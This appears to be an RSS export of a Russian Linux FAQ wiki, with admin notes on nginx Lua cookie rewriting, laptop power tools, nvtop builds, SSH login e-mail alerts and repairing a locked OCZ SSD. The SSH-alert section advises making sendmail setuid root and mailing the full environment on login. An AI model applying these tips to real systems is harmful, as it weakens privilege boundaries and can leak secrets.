cd LuaJIT-2.0.0-beta10
make &amp;amp;&amp;amp; make install
ln -s /usr/local/lib/liblua5.1.so /usr/local/lib/liblua.so
export LUAJIT_LIB=/usr/local/lib/
export LUAJIT_INC=/usr/local/include/luajit-2.0/
LD_LIBRARY_PATH=/usr/local/lib/:$LD_LIBRARY_PATH&lt;/pre&gt;

&lt;p&gt;
Скачиваем и распаковываем ngx_devel_kit&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget https://github.com/simpl/ngx_devel_kit/tarball/master
tar -xvf master.1&lt;/pre&gt;

&lt;p&gt;
Скачиваем и распаковываем lua-nginx-module&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget https://github.com/chaoslawful/lua-nginx-module/tarball/master
tar -xvf master&lt;/pre&gt;

&lt;p&gt;
Конфигурируем и компилируем и устанавливаем nginx&lt;br/&gt;

Надо следить за &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;--add-module=/root/chaoslawful-lua-nginx-module-d0d9140/ --add-module=/root/simpl-ngx_devel_kit-4192ba6/ &lt;/pre&gt;

&lt;p&gt;
&lt;br/&gt;

в конце строки.&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;make clean; ./configure --without-http_autoindex_module --without-http_browser_module --without-http_fastcgi_module --without-http_geo_module --without-http_empty_gif_module --without-http_map_module --without-http_memcached_module --without-http_ssi_module --without-http_userid_module --without-mail_pop3_module --without-mail_imap_module --without-mail_smtp_module --without-http_split_clients_module --without-http_uwsgi_module --without-http_scgi_module --without-http_referer_module --without-http-cache --without-http_upstream_ip_hash_module --with-http_ssl_module  --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log  --add-module=/root/chaoslawful-lua-nginx-module-d0d9140/ --add-module=/root/simpl-ngx_devel_kit-4192ba6/

make -j2
make install&lt;/pre&gt;

&lt;p&gt;
После make install не забываем перезапустить nginx. &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Перезапускаем&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kill $(cat /usr/local/nginx/logs/nginx.pid) &amp;amp;&amp;amp; /usr/local/nginx/sbin/ngin  &lt;/pre&gt;

&lt;p&gt;
И смотрим что же получилось? А получилась вот такая великолепная штука: &lt;a href=&quot;http://wiki.nginx.org/HttpLuaModule&quot; class=&quot;urlextern&quot; title=&quot;http://wiki.nginx.org/HttpLuaModule&quot; rel=&quot;ugc nofollow&quot;&gt;http://wiki.nginx.org/HttpLuaModule&lt;/a&gt;, которая по уверению его создателей на среднем настольном ПК тянет 25 тысяч запросов в секунду. Внимательно изучив документацию становится понятно, что в среде исполнения Lua доступны все события и внутренние обработчики Nginx. Конкретно для нашей задачи мы будем использовать директиву header_filter_by_lua . Открываем конфигурационный файл, выбираем нужный location и добавляем простой код:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;header_filter_by_lua &amp;#039;
        local headers = ngx.header[&amp;quot;Set-Cookie&amp;quot;]
        if headers then
            if type(headers) == &amp;quot;string&amp;quot; then
                headers = {headers}
            end
            for i, header in ipairs(headers) do
                local cookie = ngx.re.match(header, &amp;quot;JSESSIONID=([^;]+);&amp;quot;, &amp;quot;io&amp;quot;)
                if cookie then
                    headers[i] = &amp;quot;JSESSIONID=&amp;quot; .. cookie[1] .. &amp;quot;; domain=.frontend.com; path=/newpath;&amp;quot;
                end
            end
            ngx.header[&amp;quot;Set-Cookie&amp;quot;] = headers
        end
&amp;#039;;&lt;/pre&gt;

&lt;p&gt;
Тут приведен самый простой вариант обработчика — первый код на lua который я увидел в своей жизни. Можно и нужно написать универсальный парсер хедеров Set-Cookie, страна уже ждет своего героя в комментариях!&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0415\u0441\u043b\u0438 \u0447\u0435\u0440\u0435\u0437 nginx \u043d\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442 \u043a\u0443\u043a\u0438!&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0435\u0441\u043b\u0438_\u0447\u0435\u0440\u0435\u0437_nginx_\u043d\u0435_\u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442_\u043a\u0443\u043a\u0438&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:10,&amp;quot;secid&amp;quot;:8,&amp;quot;range&amp;quot;:&amp;quot;3893-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>notebook_hints</title>
            <link>https://wiki.autosys.tk/linux_faq/notebook_hints</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;состояние_батареи&quot;&gt;Состояние батареи&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Посмотреть текущее состояние батареи в ноутбуке под управлением Linux можно так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;upower -i /org/freedesktop/UPower/devices/battery_BAT1&lt;/pre&gt;

&lt;p&gt;
Последняя цифра в пути может быть другой (например - 0)
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0431\u0430\u0442\u0430\u0440\u0435\u0438&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435_\u0431\u0430\u0442\u0430\u0440\u0435\u0438&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-349&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;текущее_потребление&quot;&gt;Текущее потребление&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;upower -d | grep energy-rate&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0422\u0435\u043a\u0443\u0449\u0435\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0442\u0435\u043a\u0443\u0449\u0435\u0435_\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;350-433&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;энергопотребление_процессора&quot;&gt;Энергопотребление процессора&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Увидеть текущее энергопотребление процессора (и только процессора) позволит утилита &lt;strong&gt;powerstat&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install powerstat
sudo powerstat -R -c -z&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u042d\u043d\u0435\u0440\u0433\u043e\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u044d\u043d\u0435\u0440\u0433\u043e\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0435_\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;434-735&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;энергопотребление_amd_gpu&quot;&gt;Энергопотребление AMD GPU&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Посмотреть текущее энергопотребление AMD GPU можно так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo watch -n 0.5  cat /sys/kernel/debug/dri/0/amdgpu_pm_info &lt;/pre&gt;

&lt;p&gt;
Посмотреть существующие профили энергопотребления:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cat /sys/class/drm/card0/device/pp_power_profile_mode&lt;/pre&gt;

&lt;p&gt;
Включить какой-то профиль так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;echo &amp;quot;5&amp;quot; &amp;gt; /sys/class/drm/card0/device/pp_power_profile_mode&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u042d\u043d\u0435\u0440\u0433\u043e\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0435 AMD GPU&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u044d\u043d\u0435\u0440\u0433\u043e\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0435_amd_gpu&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;736-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 17 Jun 2021 09:15:55 +0000</pubDate>
        </item>
        <item>
            <title>notebook_power_management_in_linux</title>
            <link>https://wiki.autosys.tk/linux_faq/notebook_power_management_in_linux</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;чем_отрегулировать_энергопотребление_на_ноутбуке_под_linux&quot;&gt;Чем отрегулировать энергопотребление на ноутбуке под Linux&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Есть такая утилитка
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;tlp - Save battery power on laptops
sudo add-apt-repository ppa:linuxuprising/apps
sudo apt update
sudo apt install tlpui tlp
sudo service tlp start
sudo tlpui&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0427\u0435\u043c \u043e\u0442\u0440\u0435\u0433\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u044d\u043d\u0435\u0440\u0433\u043e\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0435 \u043d\u0430 \u043d\u043e\u0443\u0442\u0431\u0443\u043a\u0435 \u043f\u043e\u0434 Linux&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0447\u0435\u043c_\u043e\u0442\u0440\u0435\u0433\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c_\u044d\u043d\u0435\u0440\u0433\u043e\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0435\u043d\u0438\u0435_\u043d\u0430_\u043d\u043e\u0443\u0442\u0431\u0443\u043a\u0435_\u043f\u043e\u0434_linux&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-332&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;bluetooth_issues&quot;&gt;Bluetooth issues&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В /etc/tlp.conf есть параметр &lt;strong&gt;USB_EXCLUDE_BTUSB&lt;/strong&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Bluetooth issues&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;bluetooth_issues&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;333-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Wed, 04 Jun 2025 07:56:53 +0000</pubDate>
        </item>
        <item>
            <title>notify_on_ssh_connection_established</title>
            <link>https://wiki.autosys.tk/linux_faq/notify_on_ssh_connection_established</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;задача&quot;&gt;Задача&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Нужно отправлять уведомления, когда пользователь подключается по SSH. &lt;br/&gt;

Реализовать это можно несколькими способами. &lt;br/&gt;

Тут я рассмотрю варианты с отправкой уведомлений средствами &lt;strong&gt;sshrc&lt;/strong&gt; и &lt;strong&gt;pam_exec&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-384&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;sshrc&quot;&gt;sshrc&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Скрипт &lt;strong&gt;sshrc&lt;/strong&gt; запусается от имени пользователя при успешном установлении ssh-сессии в интерактивном режиме (то есть неинтерактивные сессии, которые, например, создают ssh-туннели, этот скрипт не запускают).
Чтобы с его помощью отправлять уведомления нужно настроить &lt;strong&gt;sendmail&lt;/strong&gt;, убедиться, что сообщения отправляются и потом прописать в файл &lt;strong&gt;/etc/ssh/sshrc&lt;/strong&gt; такое: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ip=`echo $SSH_CONNECTION | cut -d &amp;quot; &amp;quot; -f 1`

#logger -t ssh-wrapper $USER login from $ip
printf &amp;quot;Subject: SSH Connection\nFrom: admin@autosys.tk\nUser $USER just logged in from $ip&amp;quot; | sudo sendmail admin@autosys.tk 2&amp;gt;/dev/null&lt;/pre&gt;

&lt;p&gt;
Вероятно, может понадобиться разрешить запуск &lt;strong&gt;sendmail&lt;/strong&gt; от имени непривилегированных пользователей:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo chmod 4755 /usr/sbin/sendmail
sudo ln -s /usr/sbin/sendmail /usr/bin&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;sshrc&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;sshrc&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;385-1549&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;отправка_уведомлений_с_помощью_pam_exec&quot;&gt;Отправка уведомлений с помощью pam_exec&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
К сожалению, отправка уведомлений с помощью &lt;strong&gt;sshrc&lt;/strong&gt; может не работать, если у пользователя сконфигурирован собственый файл &lt;strong&gt;~/.ssh/rc&lt;/strong&gt;. В этом случае, скрипт &lt;strong&gt;/etc/ssh/sshrc&lt;/strong&gt; не работает и на помощь приходит &lt;strong&gt;pam_exec&lt;/strong&gt;. В качестве бонуса - этот метод позволяет настроить уведомление и о других событиях входа (не только по ssh). &lt;br/&gt;

Итак, пишем скрипт &lt;strong&gt;login-notify.sh&lt;/strong&gt;, который будет запускаться при успешной аутентификации. Например такой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/sh

sender=&amp;quot;admin@autosys.tk&amp;quot;
recepient=&amp;quot;admin@autosys.tk&amp;quot;

if [ &amp;quot;$PAM_TYPE&amp;quot; != &amp;quot;close_session&amp;quot; ]; then
    host=&amp;quot;`hostname`&amp;quot;
    subject=&amp;quot;SSH Login: $PAM_USER from $PAM_RHOST on $host&amp;quot;
    # Message to send, e.g. the current environment variables.
    message=&amp;quot;`env`&amp;quot;
    printf &amp;quot;Subject: $subject\nFrom: $sender\n$message\n`date`&amp;quot; | sendmail $recepient 2&amp;gt;/dev/null
#   echo &amp;quot;$message&amp;quot; | mailx -r &amp;quot;$sender&amp;quot; -s &amp;quot;$subject&amp;quot; &amp;quot;$recepient&amp;quot;
fi
&lt;/pre&gt;

&lt;p&gt;
И делаем файл исполняемым. &lt;br/&gt;

После этого в файл &lt;strong&gt;/etc/pam.d/sshd&lt;/strong&gt; добавляем строку:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;session optional pam_exec.so seteuid /path/to/login-notify.sh&lt;/pre&gt;

&lt;p&gt;
Для отладки, модуль &lt;strong&gt;pam_exec&lt;/strong&gt; добавляем как &lt;strong&gt;optional&lt;/strong&gt; (впоследствии можно заменить на &lt;strong&gt;required&lt;/strong&gt;). &lt;br/&gt;

И указываем файл запускаемомго скрипта.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0439 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e pam_exec&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0430_\u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0439_\u0441_\u043f\u043e\u043c\u043e\u0449\u044c\u044e_pam_exec&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1550-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 25 Jun 2019 08:11:15 +0000</pubDate>
        </item>
        <item>
            <title>nsa_python_course</title>
            <link>https://wiki.autosys.tk/linux_faq/nsa_python_course</link>
            <description>
&lt;p&gt;
Курс Питона (Python) от АНБ (NSA) - &lt;a href=&quot;https://cloud.mail.ru/public/3pZH/2bpKxVvHR&quot; class=&quot;urlextern&quot; title=&quot;https://cloud.mail.ru/public/3pZH/2bpKxVvHR&quot; rel=&quot;ugc nofollow&quot;&gt;Python_Programming_Course_from_NSA.pdf&lt;/a&gt;
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Wed, 19 Feb 2020 14:25:22 +0000</pubDate>
        </item>
        <item>
            <title>nvtop_on_amazonlinux2</title>
            <link>https://wiki.autosys.tk/linux_faq/nvtop_on_amazonlinux2</link>
            <description>
&lt;p&gt;
&lt;a href=&quot;https://github.com/Syllo/nvtop&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/Syllo/nvtop&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/Syllo/nvtop&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
cmake 3.xx:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo yum remove cmake
wget https://github.com/Kitware/CMake/releases/download/v3.23.1/cmake-3.23.1.tar.gz
tar -xvf ./cmake-3.23.1.tar.gz 
cd cmake-3.23.1/
sudo yum install gcc-c++ openssl-devel
./bootstrap
make
sudo make install
exit
## Exit needed to apply cmake env&lt;/pre&gt;

&lt;p&gt;
nvtop
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo yum install ncurses-devel git
cd ~
git clone https://github.com/Syllo/nvtop.git
mkdir -p nvtop/build &amp;amp;&amp;amp; cd nvtop/build
cmake .. -DNVIDIA_SUPPORT=ON -DAMDGPU_SUPPORT=OFF
sudo make install&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 18 Apr 2022 14:45:44 +0000</pubDate>
        </item>
        <item>
            <title>ocz_vertex2_rom</title>
            <link>https://wiki.autosys.tk/linux_faq/ocz_vertex2_rom</link>
            <description>
&lt;p&gt;
OCZ Vertex2 ES &lt;br/&gt;

Micron - 29F64G08AJABA &lt;br/&gt;

SandForce - SF-1565TA3-SBH &lt;br/&gt;

&lt;a href=&quot;http://update.ocz.com/firmware/release/sf/p1/15026&quot; class=&quot;urlextern&quot; title=&quot;http://update.ocz.com/firmware/release/sf/p1/15026&quot; rel=&quot;ugc nofollow&quot;&gt;http://update.ocz.com/firmware/release/sf/p1/15026&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://wiki.autosys.tk/_media/linux_faq/15026.zip&quot; class=&quot;media mediafile mf_zip&quot; title=&quot;linux_faq:15026.zip (474.4 KB)&quot;&gt; OCZ-VERTEX2 EX, S/N - OCZ-OZV966H55884M8KN, fw.ver. 1.37 &lt;/a&gt;
&lt;br/&gt;

&lt;br/&gt;

Суперконденсатор - HZ202, 0.09F, 200mOm, 5.5V &lt;br/&gt;

&lt;a href=&quot;http://www.hddoracle.com/viewtopic.php?f=95&amp;amp;t=166&amp;amp;p=334&quot; class=&quot;urlextern&quot; title=&quot;http://www.hddoracle.com/viewtopic.php?f=95&amp;amp;t=166&amp;amp;p=334&quot; rel=&quot;ugc nofollow&quot;&gt;http://www.hddoracle.com/viewtopic.php?f=95&amp;amp;t=166&amp;amp;p=334&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://www.hardmaster.info/faq/razblokirovka-ssd-ocz-vertex-450.html&quot; class=&quot;urlextern&quot; title=&quot;https://www.hardmaster.info/faq/razblokirovka-ssd-ocz-vertex-450.html&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.hardmaster.info/faq/razblokirovka-ssd-ocz-vertex-450.html&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;http://anadoxin.org/blog/sending-ata-commands-on-linux.html&quot; class=&quot;urlextern&quot; title=&quot;http://anadoxin.org/blog/sending-ata-commands-on-linux.html&quot; rel=&quot;ugc nofollow&quot;&gt;http://anadoxin.org/blog/sending-ata-commands-on-linux.html&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;http://files.hddguru.com&quot; class=&quot;urlextern&quot; title=&quot;http://files.hddguru.com&quot; rel=&quot;ugc nofollow&quot;&gt;http://files.hddguru.com&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;http://spritesmods.com/?art=hddhack&quot; class=&quot;urlextern&quot; title=&quot;http://spritesmods.com/?art=hddhack&quot; rel=&quot;ugc nofollow&quot;&gt;http://spritesmods.com/?art=hddhack&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://ayvan.livejournal.com/39258.html&quot; class=&quot;urlextern&quot; title=&quot;https://ayvan.livejournal.com/39258.html&quot; rel=&quot;ugc nofollow&quot;&gt;https://ayvan.livejournal.com/39258.html&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
&lt;br/&gt;

Диск не читается и не пишется. &lt;br/&gt;

В выводе
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo hdparm -I /dev/sdb&lt;/pre&gt;

&lt;p&gt;
такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Security: 
        Master password revision code = 65534
                supported
        not     enabled
                locked
        not     frozen
        not     expired: security count
                supported: enhanced erase&lt;/pre&gt;

&lt;p&gt;
После выполнения &lt;strong&gt;Secure Erase&lt;/strong&gt; с помощью &lt;strong&gt;OCZTool&lt;/strong&gt; становится так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Security: 
        Master password revision code = 65534
                supported
        not     enabled
        not     locked
        not     frozen
        not     expired: security count
                supported: enhanced erase&lt;/pre&gt;

&lt;p&gt;
Однако, по прежнему не читается. Экспериментальным путем установлено, что если диск “на ходу” (не выключая компа) отключить, а потом подключить обратно - он начинает читаться и писаться. Как с помощью dd, так и другими методами (форматирование и прочие). НО! есл завершить работу системы штатно, с подключенным диском, а потом систему включить - диск будет &lt;strong&gt;locked&lt;/strong&gt;. То есть, он лочится либо на этапе завершения работы системы, либо на  этапе определения диска системой при старте.
&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;что_попробывал&quot;&gt;Что попробывал&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo hdparm --user-master m --security-set-pass NULL /dev/sdb
sudo hdparm --user-master u --security-set-pass NULL /dev/sdb
sudo hdparm --security-disable NULL /dev/sdb
sudo hdparm --security-freeze /dev/sdb&lt;/pre&gt;

&lt;p&gt;
В итоге стало так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;Security: 
        Master password revision code = 1
                supported
        not     enabled
        not     locked
                frozen
        not     expired: security count
                supported: enhanced erase&lt;/pre&gt;

&lt;p&gt;
Однако, после выключения/включения диск опять залочился.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0427\u0442\u043e \u043f\u043e\u043f\u0440\u043e\u0431\u044b\u0432\u0430\u043b&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0447\u0442\u043e_\u043f\u043e\u043f\u0440\u043e\u0431\u044b\u0432\u0430\u043b&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;2176-2817&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;что_помогло&quot;&gt;Что помогло&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
А помогла замена суперконденсатора,а после этого Secure Erase с помощью OCZToolbox.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0427\u0442\u043e \u043f\u043e\u043c\u043e\u0433\u043b\u043e&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0447\u0442\u043e_\u043f\u043e\u043c\u043e\u0433\u043b\u043e&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;2818-2990&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;по_делу&quot;&gt;По делу&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://www.eevblog.com/forum/repair/ocz-vertex-2-ssd-firmware/&quot; class=&quot;urlextern&quot; title=&quot;https://www.eevblog.com/forum/repair/ocz-vertex-2-ssd-firmware/&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.eevblog.com/forum/repair/ocz-vertex-2-ssd-firmware/&lt;/a&gt;
In order to fix the Vertex 2 when not recognized by the BIOS, you will need the manufacturing tool called mp_tool by Sandforce together with the license file *.lic and the firmware package file *.dst.  All of these are posted in a site in China so use baidu.com to search for it.  The mp_tool is included in an image of 1.2GB or so which you will need to write to a USB drive and boot from the USB drive.  The site that posts the tool included the instruction so follow it.&lt;br/&gt;

&lt;br/&gt;

As far as the Vertex 2 SSD goes, you will need to connect P8 and P9 (the two copper pads in the back of the PCB) when powering it up to force it into manufacturing mode to allow the mp_tool to talk to it via the SATA cable.  So jump those two pads, connect the power cable and after a few second disconnect the two pads because when the mp_tool talks to the drive, at some point in time it will reboot the drive and you don&amp;#039;t want to force it into manufacturing mode at that time.&lt;br/&gt;

&lt;br/&gt;

If your drive configuration is not included in the *.lic file, it gets much harder because you will have to modify the mp_tool itself to overwrite things, which I am not going into details beside the fact that the tool is written in python script and you should be able to decompile it and modify the script as you like.&lt;br/&gt;

&lt;br/&gt;

As far as the serial port goes, there is a tool called ecli.exe that will decode the output and display something readable, which might be useful when the mp_tool fail, you could find out why it fail from the serial output.
&lt;br/&gt;

&lt;br/&gt;

If you plan on using these SSDs with the Sandforce SF-1200 series controller, it is a good idea to download these tools now and save them somewhere for later since they will probably won&amp;#039;t be available forever.  The links below are completely DOWNLOAD AT YOUR OWN RISK!!!!  I recommend using a junk computer for all of these activities since the files are from China so please be very careful using them.&lt;br/&gt;

&lt;br/&gt;

Link to mptool, firmware, and license file download:&lt;br/&gt;

&lt;a href=&quot;http://pan.baidu.com/s/1m9Oia#list/path=%2FSF1222&quot; class=&quot;urlextern&quot; title=&quot;http://pan.baidu.com/s/1m9Oia#list/path=%2FSF1222&quot; rel=&quot;ugc nofollow&quot;&gt;http://pan.baidu.com/s/1m9Oia#list/path=%2FSF1222&lt;/a&gt; &lt;br/&gt;

(Use Tampermonkey browser add-on to download if you don&amp;#039;t have a baidu account.  You could copy the link generated by the add-on and use a download manager to connect as many connection as you can at the same time because a connection is normally slow and timeout very quickly before you could download much at all.) &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
